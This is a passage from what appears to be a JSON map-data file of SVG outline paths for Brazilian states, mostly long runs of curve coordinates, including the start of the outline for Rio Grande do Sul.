156329.00C113273.67 156318.33 113252.33 156307.67 113231.00 156297.00C113231.00 156307.67 113231.00 156318.33 113231.00 156329.00C113241.67 156339.67 113252.33 156350.33 113263.00 156361.00C113241.33 156371.67 113219.67 156382.33 113198.00 156393.00C113198.00 156403.67 113198.00 156414.33 113198.00 156425.00C113209.00 156446.67 113220.00 156468.33 113231.00 156490.00C113263.00 156500.67 113295.00 156511.33 113327.00 156522.00C113316.33 156532.67 113305.67 156543.33 113295.00 156554.00C113295.00 156564.67 113295.00 156575.33 113295.00 156586.00C113316.33 156586.00 113337.67 156586.00 113359.00 156586.00C113380.33 156596.67 113401.67 156607.33 113423.00 156618.00C113412.33 156628.67 113401.67 156639.33 113391.00 156650.00C113401.67 156660.67 113412.33 156671.33 113423.00 156682.00C113401.67 156693.00 113380.33 156704.00 113359.00 156715.00C113359.00 156725.67 113359.00 156736.33 113359.00 156747.00C113348.33 156747.00 113337.67 156747.00 113327.00 156747.00C113327.00 156768.33 113327.00 156789.67 113327.00 156811.00C113337.67 156821.67 113348.33 156832.33 113359.00 156843.00C113369.67 156864.67 113380.33 156886.33 113391.00 156908.00C113401.67 156908.00 113412.33 156908.00 113423.00 156908.00C113434.00 156929.33 113445.00 156950.67 113456.00 156972.00C113466.67 156972.00 113477.33 156972.00 113488.00 156972.00C113488.00 156982.67 113488.00 156993.33 113488.00 157004.00C113509.33 157014.67 113530.67 157025.33 113552.00 157036.00C113541.33 157046.67 113530.67 157057.33 113520.00 157068.00C113520.00 157078.67 113520.00 157089.33 113520.00 157100.00C113541.33 157111.00 113562.67 157122.00 113584.00 157133.00C113573.33 157143.67 113562.67 157154.33 113552.00 157165.00C113552.00 157197.00 113552.00 157229.00 113552.00 157261.00C113530.67 157271.67 113509.33 157282.33 113488.00 157293.00C113498.67 157314.67 113509.33 157336.33 113520.00 157358.00C113509.33 157368.67 113498.67 157379.33 113488.00 157390.00C113488.00 157400.67 113488.00 157411.33 113488.00 157422.00C113455.67 157422.00 113423.33 157422.00 113391.00 157422.00C113380.33 157432.67 113369.67 157443.33 113359.00 157454.00C113337.67 157454.00 113316.33 157454.00 113295.00 157454.00C113295.00 157464.67 113295.00 157475.33 113295.00 157486.00C113284.33 157486.00 113273.67 157486.00 113263.00 157486.00C113263.00 157507.67 113263.00 157529.33 113263.00 157551.00C113230.67 157551.00 113198.33 157551.00 113166.00 157551.00C113155.33 157540.00 113144.67 157529.00 113134.00 157518.00C113112.67 157529.00 113091.33 157540.00 113070.00 157551.00C113070.00 157540.00 113070.00 157529.00 113070.00 157518.00C113059.25 157518.06 113048.50 157517.88 113037.75 157518.09C113005.50 157529.06 112973.25 157540.03 112941.00 157551.00C112919.67 157551.00 112898.33 157551.00 112877.00 157551.00C112855.67 157561.67 112834.33 157572.33 112813.00 157583.00C112791.33 157583.00 112769.67 157583.00 112748.00 157583.00C112726.67 157604.33 112705.33 157625.67 112684.00 157647.00C112705.33 157668.33 112726.67 157689.67 112748.00 157711.00C112748.00 157732.67 112748.00 157754.33 112748.00 157776.00C112737.33 157786.67 112726.67 157797.33 112716.00 157808.00C112694.67 157818.67 112673.33 157829.33 112652.00 157840.00C112662.67 157818.67 112673.33 157797.33 112684.00 157776.00C112641.00 157754.33 112598.00 157732.67 112555.00 157711.00C112544.33 157679.00 112533.67 157647.00 112523.00 157615.00C112501.67 157593.67 112480.33 157572.33 112459.00 157551.00C112459.00 157529.33 112459.00 157507.67 112459.00 157486.00C112448.33 157464.67 112437.67 157443.33 112427.00 157422.00C112416.33 157411.33 112405.67 157400.67 112395.00 157390.00C112362.67 157390.00 112330.33 157390.00 112298.00 157390.00C112308.67 157368.67 112319.33 157347.33 112330.00 157326.00C112319.33 157315.00 112308.67 157304.00 112298.00 157293.00C112287.33 157271.67 112276.67 157250.33 112266.00 157229.00C112244.67 157218.33 112223.33 157207.67 112202.00 157197.00C112169.67 157207.67 112137.33 157218.33 112105.00 157229.00C111944.33 157229.00 111783.67 157229.00 111623.00 157229.00C111601.58 157207.63 111580.26 157186.16 111558.78 157164.85C111526.52 157143.24 111494.26 157121.62 111462.00 157100.00C111419.00 157132.33 111376.00 157164.67 111333.00 157197.00C111311.58 157196.96 111290.16 157197.09 111268.74 157196.94C111226.16 157186.29 111183.58 157175.65 111141.00 157165.00C111055.00 157186.33 110969.00 157207.67 110883.00 157229.00C110861.67 157229.00 110840.33 157229.00 110819.00 157229.00C110787.00 157218.33 110755.00 157207.67 110723.00 157197.00C110690.67 157218.33 110658.33 157239.67 110626.00 157261.00C110604.67 157250.33 110583.33 157239.67 110562.00 157229.00C110540.33 157250.33 110518.67 157271.67 110497.00 157293.00C110486.33 157293.00 110475.67 157293.00 110465.00 157293.00C110454.33 157282.33 110443.67 157271.67 110433.00 157261.00C110433.00 157250.33 110433.00 157239.67 110433.00 157229.00C110401.00 157218.33 110369.00 157207.67 110337.00 157197.00C110294.00 157197.00 110251.00 157197.00 110208.00 157197.00C110176.00 157175.67 110144.00 157154.33 110112.00 157133.00C110101.33 157143.67 110090.67 157154.33 110080.00 157165.00C110058.33 157154.33 110036.67 157143.67 110015.00 157133.00C109993.67 157133.00 109972.33 157133.00 109951.00 157133.00C109951.00 157122.00 109951.00 157111.00 109951.00 157100.00C109908.00 157111.00 109865.00 157122.00 109822.00 157133.00C109811.33 157111.33 109800.67 157089.67 109790.00 157068.00C109790.00 157057.33 109790.00 157046.67 109790.00 157036.00C109768.67 157036.00 109747.33 157036.00 109726.00 157036.00C109726.00 157025.33 109726.00 157014.67 109726.00 157004.00C109704.33 156993.33 109682.67 156982.67 109661.00 156972.00C109650.33 156961.33 109639.67 156950.67 109629.00 156940.00C109618.33 156940.00 109607.67 156940.00 109597.00 156940.00C109586.33 156929.33 109575.67 156918.67 109565.00 156908.00C109543.67 156908.00 109522.33 156908.00 109501.00 156908.00C109490.33 156886.33 109479.67 156864.67 109469.00 156843.00C109458.00 156843.00 109447.00 156843.00 109436.00 156843.00C109425.33 156832.33 109414.67 156821.67 109404.00 156811.00C109404.00 156779.00 109404.00 156747.00 109404.00 156715.00C109382.67 156704.00 109361.33 156693.00 109340.00 156682.00C109318.67 156682.00 109297.33 156682.00 109276.00 156682.00C109265.33 156671.33 109254.67 156660.67 109244.00 156650.00C109201.00 156650.00 109158.00 156650.00 109115.00 156650.00C109072.00 156607.33 109029.00 156564.67 108986.00 156522.00C108964.67 156543.33 108943.33 156564.67 108922.00 156586.00C108889.67 156596.67 108857.33 156607.33 108825.00 156618.00C108793.00 156618.00 108761.00 156618.00 108729.00 156618.00C108718.33 156607.33 108707.67 156596.67 108697.00 156586.00C108675.67 156586.00 108654.33 156586.00 108633.00 156586.00C108611.33 156596.67 108589.67 156607.33 108568.00 156618.00C108557.33 156618.00 108546.67 156618.00 108536.00 156618.00C108536.00 156607.33 108536.00 156596.67 108536.00 156586.00C108504.00 156554.00 108472.00 156522.00 108440.00 156490.00C108407.67 156490.00 108375.33 156490.00 108343.00 156490.00C108321.67 156500.67 108300.33 156511.33 108279.00 156522.00C108268.33 156500.33 108257.67 156478.67 108247.00 156457.00C108236.33 156478.67 108225.67 156500.33 108215.00 156522.00C108193.33 156500.33 108171.67 156478.67 108150.00 156457.00C108128.67 156468.00 108107.33 156479.00 108086.00 156490.00C108075.33 156490.00 108064.67 156490.00 108054.00 156490.00C108037.55 156473.07 108021.31 156455.92 108004.15 156439.70C107999.10 156434.80 107994.05 156429.90 107989.00 156425.00C107978.33 156435.67 107967.67 156446.33 107957.00 156457.00C107935.67 156468.00 107914.33 156479.00 107893.00 156490.00C107818.00 156490.00 107743.00 156490.00 107668.00 156490.00C107646.67 156457.67 107625.33 156425.33 107604.00 156393.00C107582.33 156393.00 107560.67 156393.00 107539.00 156393.00C107496.33 156361.00 107453.67 156329.00 107411.00 156297.00C107378.43 156307.83 107345.76 156318.36 107313.26 156329.37C107292.18 156339.91 107271.09 156350.45 107250.00 156361.00C107239.33 156350.33 107228.67 156339.67 107218.00 156329.00C107207.33 156339.67 107196.67 156350.33 107186.00 156361.00C107164.33 156350.33 107142.67 156339.67 107121.00 156329.00C107099.67 156350.33 107078.33 156371.67 107057.00 156393.00C107046.33 156382.33 107035.67 156371.67 107025.00 156361.00C107003.67 156361.00 106982.33 156361.00 106961.00 156361.00C106961.00 156350.33 106961.00 156339.67 106961.00 156329.00C106949.91 156318.31 106938.95 156307.48 106927.76 156296.88C106906.51 156285.92 106885.25 156274.96 106864.00 156264.00C106864.00 156253.33 106864.00 156242.67 106864.00 156232.00C106853.33 156221.33 106842.67 156210.67 106832.00 156200.00C106810.67 156189.33 106789.33 156178.67 106768.00 156168.00C106735.67 156136.00 106703.33 156104.00 106671.00 156072.00C106639.00 156082.67 106607.00 156093.33 106575.00 156104.00C106564.33 156104.00 106553.67 156104.00 106543.00 156104.00C106532.33 156093.33 106521.67 156082.67 106511.00 156072.00C106500.00 156082.67 106489.00 156093.33 106478.00 156104.00C106467.33 156082.33 106456.67 156060.67 106446.00 156039.00C106424.67 156028.33 106403.33 156017.67 106382.00 156007.00C106371.33 156017.67 106360.67 156028.33 106350.00 156039.00C106339.33 156039.00 106328.67 156039.00 106318.00 156039.00C106307.00 156050.00 106296.00 156061.00 106285.00 156072.00C106274.33 156072.00 106263.67 156072.00 106253.00 156072.00C106231.67 156061.00 106210.33 156050.00 106189.00 156039.00C106167.67 156050.00 106146.33 156061.00 106125.00 156072.00C106114.00 156072.00 106103.00 156072.00 106092.00 156072.00C106081.33 156061.00 106070.67 156050.00 106060.00 156039.00C105995.67 156039.00 105931.33 156039.00 105867.00 156039.00C105824.33 156060.67 105781.67 156082.33 105739.00 156104.00C105685.33 156104.00 105631.67 156104.00 105578.00 156104.00C105567.33 156093.33 105556.67 156082.67 105546.00 156072.00C105524.67 156082.67 105503.33 156093.33 105482.00 156104.00C105471.00 156104.00 105460.00 156104.00 105449.00 156104.00C105427.67 156114.67 105406.33 156125.33 105385.00 156136.00C105320.67 156103.67 105256.33 156071.33 105192.00 156039.00C105127.67 156082.00 105063.33 156125.00 104999.00 156168.00C104966.77 156178.82 104934.42 156189.36 104902.26 156200.37C104859.50 156221.57 104816.75 156242.79 104774.00 156264.00C104752.67 156264.00 104731.33 156264.00 104710.00 156264.00C104688.67 156242.67 104667.33 156221.33 104646.00 156200.00C104635.00 156200.00 104624.00 156200.00 104613.00 156200.00C104591.67 156189.33 104570.33 156178.67 104549.00 156168.00C104527.67 156146.67 104506.33 156125.33 104485.00 156104.00C104474.33 156082.33 104463.67 156060.67 104453.00 156039.00C104442.33 156039.00 104431.67 156039.00 104421.00 156039.00C104410.00 156050.00 104399.00 156061.00 104388.00 156072.00C104377.33 156072.00 104366.67 156072.00 104356.00 156072.00C104345.33 156061.00 104334.67 156050.00 104324.00 156039.00C104302.67 156039.00 104281.33 156039.00 104260.00 156039.00C104238.33 156017.67 104216.67 155996.33 104195.00 155975.00C104184.33 155975.00 104173.67 155975.00 104163.00 155975.00C104163.00 155964.33 104163.00 155953.67 104163.00 155943.00C104120.33 155921.67 104077.67 155900.33 104035.00 155879.00C104013.33 155857.33 103991.67 155835.67 103970.00 155814.00C103959.33 155814.00 103948.67 155814.00 103938.00 155814.00C103938.00 155803.33 103938.00 155792.67 103938.00 155782.00C103927.33 155771.33 103916.67 155760.67 103906.00 155750.00C103906.00 155739.33 103906.00 155728.67 103906.00 155718.00C103884.67 155685.67 103863.33 155653.33 103842.00 155621.00C103831.33 155621.00 103820.67 155621.00 103810.00 155621.00C103810.00 155599.67 103810.00 155578.33 103810.00 155557.00C103767.00 155578.33 103724.00 155599.67 103681.00 155621.00C103670.33 155621.00 103659.67 155621.00 103649.00 155621.00C103638.33 155610.33 103627.67 155599.67 103617.00 155589.00C103595.33 155589.00 103573.67 155589.00 103552.00 155589.00C103552.00 155578.33 103552.00 155567.67 103552.00 155557.00C103530.67 155557.00 103509.33 155557.00 103488.00 155557.00C103488.00 155567.67 103488.00 155578.33 103488.00 155589.00C103477.33 155578.33 103466.67 155567.67 103456.00 155557.00C103445.33 155567.67 103434.67 155578.33 103424.00 155589.00C103402.33 155567.67 103380.67 155546.33 103359.00 155525.00C103348.25 155535.70 103337.59 155546.50 103326.78 155557.15C103262.52 155600.10 103198.26 155643.05 103134.00 155686.00C103123.33 155696.67 103112.67 155707.33 103102.00 155718.00C103080.67 155718.00 103059.33 155718.00 103038.00 155718.00C103005.67 155739.33 102973.33 155760.67 102941.00 155782.00C102919.67 155782.00 102898.33 155782.00 102877.00 155782.00C102845.00 155792.67 102813.00 155803.33 102781.00 155814.00C102738.00 155803.33 102695.00 155792.67 102652.00 155782.00C102609.33 155782.00 102566.67 155782.00 102524.00 155782.00C102524.00 155771.33 102524.00 155760.67 102524.00 155750.00C102491.67 155728.67 102459.33 155707.33 102427.00 155686.00C102416.33 155686.00 102405.67 155686.00 102395.00 155686.00C102384.33 155653.67 102373.67 155621.33 102363.00 155589.00C102330.67 155599.67 102298.33 155610.33 102266.00 155621.00C102234.00 155621.00 102202.00 155621.00 102170.00 155621.00C102148.33 155610.33 102126.67 155599.67 102105.00 155589.00C102094.33 155578.33 102083.67 155567.67 102073.00 155557.00C102083.67 155557.00 102094.33 155557.00 102105.00 155557.00C102083.67 155535.67 102062.33 155514.33 102041.00 155493.00C102062.33 155460.67 102083.67 155428.33 102105.00 155396.00C102083.67 155385.33 102062.33 155374.67 102041.00 155364.00C102041.00 155342.67 102041.00 155321.33 102041.00 155300.00C102030.33 155300.00 102019.67 155300.00 102009.00 155300.00C101987.67 155267.67 101966.33 155235.33 101945.00 155203.00C101934.25 155192.30 101923.60 155181.49 101912.78 155170.85C101880.52 155149.57 101848.26 155128.28 101816.00 155107.00C101794.46 155064.10 101773.12 155021.11 101752.00 154978.00C101741.33 154978.00 101730.67 154978.00 101720.00 154978.00C101687.67 154956.67 101655.33 154935.33 101623.00 154914.00C101623.00 154903.33 101623.00 154892.67 101623.00 154882.00C101633.67 154871.33 101644.33 154860.67 101655.00 154850.00C101644.33 154828.33 101633.67 154806.67 101623.00 154785.00C101633.67 154753.00 101644.33 154721.00 101655.00 154689.00C101666.00 154689.00 101677.00 154689.00 101688.00 154689.00C101688.00 154667.67 101688.00 154646.33 101688.00 154625.00C101677.00 154603.33 101666.00 154581.67 101655.00 154560.00C101633.67 154560.00 101612.33 154560.00 101591.00 154560.00C101591.00 154549.33 101591.00 154538.67 101591.00 154528.00C101580.33 154538.67 101569.67 154549.33 101559.00 154560.00C101559.00 154538.67 101559.00 154517.33 101559.00 154496.00C101548.33 154506.67 101537.67 154517.33 101527.00 154528.00C101516.33 154517.33 101505.67 154506.67 101495.00 154496.00C101495.00 154485.33 101495.00 154474.67 101495.00 154464.00C101473.33 154464.00 101451.67 154464.00 101430.00 154464.00C101440.67 154453.33 101451.33 154442.67 101462.00 154432.00C101451.33 154432.00 101440.67 154432.00 101430.00 154432.00C101440.67 154421.33 101451.33 154410.67 101462.00 154400.00C101440.67 154389.00 101419.33 154378.00 101398.00 154367.00C101398.00 154356.33 101398.00 154345.67 101398.00 154335.00C101387.33 154345.67 101376.67 154356.33 101366.00 154367.00C101355.33 154356.33 101344.67 154345.67 101334.00 154335.00C101334.00 154313.67 101334.00 154292.33 101334.00 154271.00C101323.33 154281.67 101312.67 154292.33 101302.00 154303.00C101291.00 154303.00 101280.00 154303.00 101269.00 154303.00C101269.00 154281.67 101269.00 154260.33 101269.00 154239.00C101237.00 154228.33 101205.00 154217.67 101173.00 154207.00C101173.00 154196.33 101173.00 154185.67 101173.00 154175.00C101183.67 154175.00 101194.33 154175.00 101205.00 154175.00C101194.33 154164.00 101183.67 154153.00 101173.00 154142.00C101162.33 154099.33 101151.67 154056.67 101141.00 154014.00C101162.33 154014.00 101183.67 154014.00 101205.00 154014.00C101205.00 153992.67 101205.00 153971.33 101205.00 153950.00C101215.67 153971.33 101226.33 153992.67 101237.00 154014.00C101247.67 154014.00 101258.33 154014.00 101269.00 154014.00C101258.33 153992.67 101247.67 153971.33 101237.00 153950.00C101247.67 153939.00 101258.33 153928.00 101269.00 153917.00C101258.33 153917.00 101247.67 153917.00 101237.00 153917.00C101215.67 153928.00 101194.33 153939.00 101173.00 153950.00C101183.67 153928.33 101194.33 153906.67 101205.00 153885.00C101215.67 153885.00 101226.33 153885.00 101237.00 153885.00C101247.67 153874.33 101258.33 153863.67 101269.00 153853.00C101237.00 153853.00 101205.00 153853.00 101173.00 153853.00C101173.00 153831.67 101173.00 153810.33 101173.00 153789.00C101162.33 153799.67 101151.67 153810.33 101141.00 153821.00C101130.33 153810.33 101119.67 153799.67 101109.00 153789.00C101130.33 153789.00 101151.67 153789.00 101173.00 153789.00C101173.00 153778.33 101173.00 153767.67 101173.00 153757.00C101183.67 153757.00 101194.33 153757.00 101205.00 153757.00C101215.67 153746.00 101226.33 153735.00 101237.00 153724.00C101215.67 153724.00 101194.33 153724.00 101173.00 153724.00C101183.67 153702.67 101194.33 153681.33 101205.00 153660.00C101183.67 153660.00 101162.33 153660.00 101141.00 153660.00C101151.67 153660.00 101162.33 153660.00 101173.00 153660.00C101173.00 153649.33 101173.00 153638.67 101173.00 153628.00C101162.33 153606.67 101151.67 153585.33 101141.00 153564.00C101130.33 153574.67 101119.67 153585.33 101109.00 153596.00C101109.00 153585.33 101109.00 153574.67 101109.00 153564.00C101119.67 153542.33 101130.33 153520.67 101141.00 153499.00C101151.67 153499.00 101162.33 153499.00 101173.00 153499.00C101173.00 153488.33 101173.00 153477.67 101173.00 153467.00C101183.67 153456.33 101194.33 153445.67 101205.00 153435.00C101226.33 153445.67 101247.67 153456.33 101269.00 153467.00C101269.00 153456.33 101269.00 153445.67 101269.00 153435.00C101247.67 153435.00 101226.33 153435.00 101205.00 153435.00C101215.67 153413.67 101226.33 153392.33 101237.00 153371.00C101237.00 153360.33 101237.00 153349.67 101237.00 153339.00C101205.00 153339.00 101173.00 153339.00 101141.00 153339.00C101162.33 153328.00 101183.67 153317.00 101205.00 153306.00C101205.00 153295.33 101205.00 153284.67 101205.00 153274.00C101162.33 153252.67 101119.67 153231.33 101077.00 153210.00C101087.67 153199.33 101098.33 153188.67 101109.00 153178.00C101130.33 153178.00 101151.67 153178.00 101173.00 153178.00C101162.33 153167.33 101151.67 153156.67 101141.00 153146.00C101162.33 153146.00 101183.67 153146.00 101205.00 153146.00C101173.00 153124.33 101141.00 153102.67 101109.00 153081.00C101087.33 153092.00 101065.67 153103.00 101044.00 153114.00C101055.00 153081.67 101066.00 153049.33 101077.00 153017.00C101077.00 153006.33 101077.00 152995.67 101077.00 152985.00C101055.33 152985.00 101033.67 152985.00 101012.00 152985.00C101022.67 152974.33 101033.33 152963.67 101044.00 152953.00C101022.67 152942.33 101001.33 152931.67 100980.00 152921.00C101001.33 152921.00 101022.67 152921.00 101044.00 152921.00C101033.33 152899.33 101022.67 152877.67 101012.00 152856.00C101033.67 152866.67 101055.33 152877.33 101077.00 152888.00C101077.00 152899.00 101077.00 152910.00 101077.00 152921.00C101087.67 152910.00 101098.33 152899.00 101109.00 152888.00C101109.00 152877.33 101109.00 152866.67 101109.00 152856.00C101119.67 152845.33 101130.33 152834.67 101141.00 152824.00C101119.67 152813.33 101098.33 152802.67 101077.00 152792.00C101077.00 152781.33 101077.00 152770.67 101077.00 152760.00C101066.00 152738.33 101055.00 152716.67 101044.00 152695.00C101022.67 152684.33 101001.33 152673.67 100980.00 152663.00C100958.67 152673.67 100937.33 152684.33 100916.00 152695.00C100926.67 152673.67 100937.33 152652.33 100948.00 152631.00C100958.67 152631.00 100969.33 152631.00 100980.00 152631.00C100980.00 152620.33 100980.00 152609.67 100980.00 152599.00C100969.33 152609.67 100958.67 152620.33 100948.00 152631.00C100937.33 152620.33 100926.67 152609.67 100916.00 152599.00C100926.67 152577.67 100937.33 152556.33 100948.00 152535.00C100937.33 152524.33 100926.67 152513.67 100916.00 152503.00C100883.67 152524.33 100851.33 152545.67 100819.00 152567.00C100819.00 152556.33 100819.00 152545.67 100819.00 152535.00C100808.33 152545.67 100797.67 152556.33 100787.00 152567.00C100787.00 152556.33 100787.00 152545.67 100787.00 152535.00C100797.67 152524.33 100808.33 152513.67 100819.00 152503.00C100808.33 152492.00 100797.67 152481.00 100787.00 152470.00C100765.67 152481.00 100744.33 152492.00 100723.00 152503.00C100712.33 152503.00 100701.67 152503.00 100691.00 152503.00C100691.00 152492.00 100691.00 152481.00 100691.00 152470.00C100680.33 152470.00 100669.67 152470.00 100659.00 152470.00C100659.00 152481.00 100659.00 152492.00 100659.00 152503.00C100648.00 152503.00 100637.00 152503.00 100626.00 152503.00C100637.00 152524.33 100648.00 152545.67 100659.00 152567.00C100648.00 152588.33 100637.00 152609.67 100626.00 152631.00C100615.33 152620.33 100604.67 152609.67 100594.00 152599.00C100594.00 152577.67 100594.00 152556.33 100594.00 152535.00C100583.33 152513.33 100572.67 152491.67 100562.00 152470.00C100540.67 152470.00 100519.33 152470.00 100498.00 152470.00C100498.00 152459.33 100498.00 152448.67 100498.00 152438.00C100508.67 152427.33 100519.33 152416.67 100530.00 152406.00C100497.67 152384.67 100465.33 152363.33 100433.00 152342.00C100422.33 152331.33 100411.67 152320.67 100401.00 152310.00C100390.33 152288.33 100379.67 152266.67 100369.00 152245.00C100347.67 152234.33 100326.33 152223.67 100305.00 152213.00C100262.00 152256.00 100219.00 152299.00 100176.00 152342.00C100154.67 152320.67 100133.33 152299.33 100112.00 152278.00C100101.33 152256.33 100090.67 152234.67 100080.00 152213.00C100058.67 152213.00 100037.33 152213.00 100016.00 152213.00C100005.00 152245.33 99994.00 152277.67 99983.00 152310.00C99983.00 152363.33 99983.00 152416.67 99983.00 152470.00C99972.33 152470.00 99961.67 152470.00 99951.00 152470.00C99951.00 152481.00 99951.00 152492.00 99951.00 152503.00C99929.66 152470.67 99908.34 152438.33 99887.00 152406.00C99865.67 152352.33 99844.33 152298.67 99823.00 152245.00C99823.00 152223.67 99823.00 152202.33 99823.00 152181.00C99865.66 152127.33 99908.34 152073.67 99951.00 152020.00C99951.00 151988.00 99951.00 151956.00 99951.00 151924.00C99940.34 151913.33 99929.66 151902.67 99919.00 151892.00C99908.33 151892.00 99897.67 151892.00 99887.00 151892.00C99833.28 151934.74 99779.50 151977.41 99725.81 152020.19C99693.88 152052.46 99661.94 152084.73 99630.00 152117.00C99618.91 152116.94 99607.83 152117.11 99596.75 152116.92C99564.83 152106.28 99532.91 152095.64 99501.00 152085.00C99479.67 152095.67 99458.33 152106.33 99437.00 152117.00C99426.33 152138.33 99415.67 152159.67 99405.00 152181.00C99415.67 152181.00 99426.33 152181.00 99437.00 152181.00C99479.67 152202.33 99522.33 152223.67 99565.00 152245.00C99565.00 152256.00 99565.00 152267.00 99565.00 152278.00C99575.66 152288.67 99586.34 152299.33 99597.00 152310.00C99554.33 152310.00 99511.67 152310.00 99469.00 152310.00C99426.00 152277.67 99383.00 152245.33 99340.00 152213.00C99329.33 152213.00 99318.67 152213.00 99308.00 152213.00C99297.34 152223.67 99286.66 152234.33 99276.00 152245.00C99276.00 152288.00 99276.00 152331.00 99276.00 152374.00C99254.67 152374.00 99233.33 152374.00 99212.00 152374.00C99190.33 152352.67 99168.67 152331.33 99147.00 152310.00C99125.67 152267.00 99104.33 152224.00 99083.00 152181.00C99061.67 152181.00 99040.33 152181.00 99019.00 152181.00C98965.33 152213.33 98911.67 152245.67 98858.00 152278.00C98826.00 152331.33 98794.00 152384.67 98762.00 152438.00C98751.00 152438.00 98740.00 152438.00 98729.00 152438.00C98697.00 152416.67 98665.00 152395.33 98633.00 152374.00C98611.67 152384.67 98590.33 152395.33 98569.00 152406.00C98569.00 152438.33 98569.00 152470.67 98569.00 152503.00C98558.00 152524.33 98547.00 152545.67 98536.00 152567.00C98482.67 152609.67 98429.33 152652.33 98376.00 152695.00C98386.67 152738.00 98397.33 152781.00 98408.00 152824.00C98397.34 152834.67 98386.66 152845.33 98376.00 152856.00C98365.33 152856.00 98354.67 152856.00 98344.00 152856.00C98322.33 152802.33 98300.67 152748.67 98279.00 152695.00C98247.00 152652.33 98215.00 152609.67 98183.00 152567.00C98161.60 152556.27 98140.15 152545.63 98118.78 152534.85C98086.52 152513.24 98054.26 152491.62 98022.00 152470.00C97990.00 152491.67 97958.00 152513.33 97926.00 152535.00C97915.00 152535.00 97904.00 152535.00 97893.00 152535.00C97882.33 152513.33 97871.67 152491.67 97861.00 152470.00C97871.67 152448.67 97882.33 152427.33 97893.00 152406.00C97850.33 152384.67 97807.67 152363.33 97765.00 152342.00C97754.25 152342.04 97743.49 152341.91 97732.74 152342.06C97689.83 152352.71 97646.91 152363.35 97604.00 152374.00C97604.00 152288.33 97604.00 152202.67 97604.00 152117.00C97593.33 152084.67 97582.67 152052.33 97572.00 152020.00C97572.00 151955.67 97572.00 151891.33 97572.00 151827.00C97539.66 151805.67 97507.34 151784.33 97475.00 151763.00C97475.00 151731.00 97475.00 151699.00 97475.00 151667.00C97496.67 151656.00 97518.33 151645.00 97540.00 151634.00z"},"br-21":{"name":"Rio Grande do Sul","path":"M84646.00 173756.00C84656.67 173691.67 84667.33 173627.33 84678.00 173563.00C84667.35 173498.54 84656.55 173434.11 84646.00 173369.64C84646.00 173348.43 84646.00 173327.21 84646.00 173306.00C84699.67 173220.00 84753.33 173134.00 84807.00 173048.00C84882.00 172984.00 84957.00 172920.00 85032.00 172856.00C85064.33 172845.00 85096.67 172834.00 85129.00 172823.00C85214.67 172823.00 85300.33 172823.00 85386.00 172823.00C85450.33 172801.67 85514.67 172780.33 85579.00 172759.00C85590.24 172748.00 85601.02 172736.48 85612.57 172725.82C85655.17 172693.79 85697.95 172661.98 85740.42 172629.79C85815.28 172565.86 85890.14 172501.93 85965.00 172438.00C86093.36 172266.35 86222.19 172095.06 86350.00 171923.00C86403.66 171880.33 86457.34 171837.67 86511.00 171795.00C86554.00 171730.67 86597.00 171666.33 86640.00 171602.00C86715.56 171558.76 86790.99 171515.28 86866.63 171472.18C86908.75 171451.11 86950.88 171430.06 86993.00 171409.00C87014.78 171387.29 87036.43 171365.44 87058.30 171343.80C87090.20 171322.54 87122.10 171301.27 87154.00 171280.00C87186.33 171237.00 87218.67 171194.00 87251.00 171151.00C87251.00 171097.67 87251.00 171044.33 87251.00 170991.00C87261.67 170937.33 87272.33 170883.67 87283.00 170830.00C87304.33 170819.33 87325.67 170808.67 87347.00 170798.00C87411.33 170798.00 87475.67 170798.00 87540.00 170798.00C87561.33 170787.33 87582.67 170776.67 87604.00 170766.00C87679.00 170626.67 87754.00 170487.33 87829.00 170348.00C87840.00 170315.67 87851.00 170283.33 87862.00 170251.00C87851.00 170208.33 87840.00 170165.67 87829.00 170123.00C87861.33 170058.67 87893.67 169994.33 87926.00 169930.00C87969.00 169876.33 88012.00 169822.67 88055.00 169769.00C88076.33 169704.67 88097.67 169640.33 88119.00 169576.00C88151.00 169565.33 88183.00 169554.67 88215.00 169544.00C88268.67 169544.00 88322.33 169544.00 88376.00 169544.00C88419.12 169511.63 88462.14 169479.13 88505.32 169446.84C88526.54 169436.23 88547.77 169425.61 88569.00 169415.00C88676.45 169404.35 88783.90 169393.60 88891.36 169383.00C88912.57 169383.00 88933.79 169383.00 88955.00 169383.00C88965.67 169318.67 88976.33 169254.33 88987.00 169190.00C89008.33 169158.00 89029.67 169126.00 89051.00 169094.00C89019.00 169061.67 88987.00 169029.33 88955.00 168997.00C88965.67 168954.33 88976.33 168911.67 88987.00 168869.00C89008.33 168847.33 89029.67 168825.67 89051.00 168804.00C89073.10 168793.28 89094.97 168782.02 89117.22 168771.65C89191.81 168750.43 89266.41 168729.22 89341.00 168708.00C89362.39 168686.23 89383.88 168664.55 89405.21 168642.72C89437.18 168600.03 89469.27 168557.43 89501.16 168514.68C89512.11 168493.45 89523.05 168472.23 89534.00 168451.00C89533.97 168407.88 89534.07 168364.77 89533.95 168321.65C89522.97 168246.77 89511.98 168171.88 89501.00 168097.00C89512.00 168064.67 89523.00 168032.33 89534.00 168000.00C89555.75 167988.98 89577.75 167978.42 89599.34 167967.11C89630.89 167946.07 89662.44 167925.04 89694.00 167904.00C89812.00 167904.00 89930.00 167904.00 90048.00 167904.00C90091.00 167850.33 90134.00 167796.67 90177.00 167743.00C90198.42 167700.25 90219.70 167657.42 90241.21 167614.71C90273.15 167571.81 90305.07 167528.90 90337.00 167486.00C90465.67 167378.67 90594.33 167271.33 90723.00 167164.00C90766.00 167142.67 90809.00 167121.33 90852.00 167100.00C90873.34 167078.67 90894.66 167057.33 90916.00 167036.00C90926.67 167014.67 90937.33 166993.33 90948.00 166972.00C90926.62 166950.22 90905.11 166928.56 90883.80 166906.70C90862.54 166874.80 90841.27 166842.90 90820.00 166811.00C90820.00 166768.00 90820.00 166725.00 90820.00 166682.00C90841.33 166650.00 90862.67 166618.00 90884.00 166586.00C90928.48 166575.09 90972.86 166563.72 91017.41 166553.09C91101.51 166535.73 91185.57 166518.22 91269.85 166501.76C91293.68 166496.86 91317.65 166492.60 91341.36 166487.18C91381.91 166477.11 91422.45 166467.06 91463.00 166457.00C91473.66 166446.33 91484.34 166435.67 91495.00 166425.00C91494.91 166414.22 91495.19 166403.44 91494.86 166392.67C91462.57 166317.78 91430.29 166242.89 91398.00 166168.00C91398.00 166135.67 91398.00 166103.33 91398.00 166071.00C91441.00 166006.67 91484.00 165942.33 91527.00 165878.00C91570.00 165867.33 91613.00 165856.67 91656.00 165846.00C91698.67 165867.33 91741.33 165888.67 91784.00 165910.00C91880.67 165910.00 91977.33 165910.00 92074.00 165910.00C92106.00 165921.00 92138.00 165932.00 92170.00 165943.00C92180.66 165953.67 92191.34 165964.33 92202.00 165975.00C92212.74 166007.10 92223.34 166039.25 92234.16 166071.32C92255.97 166114.12 92277.61 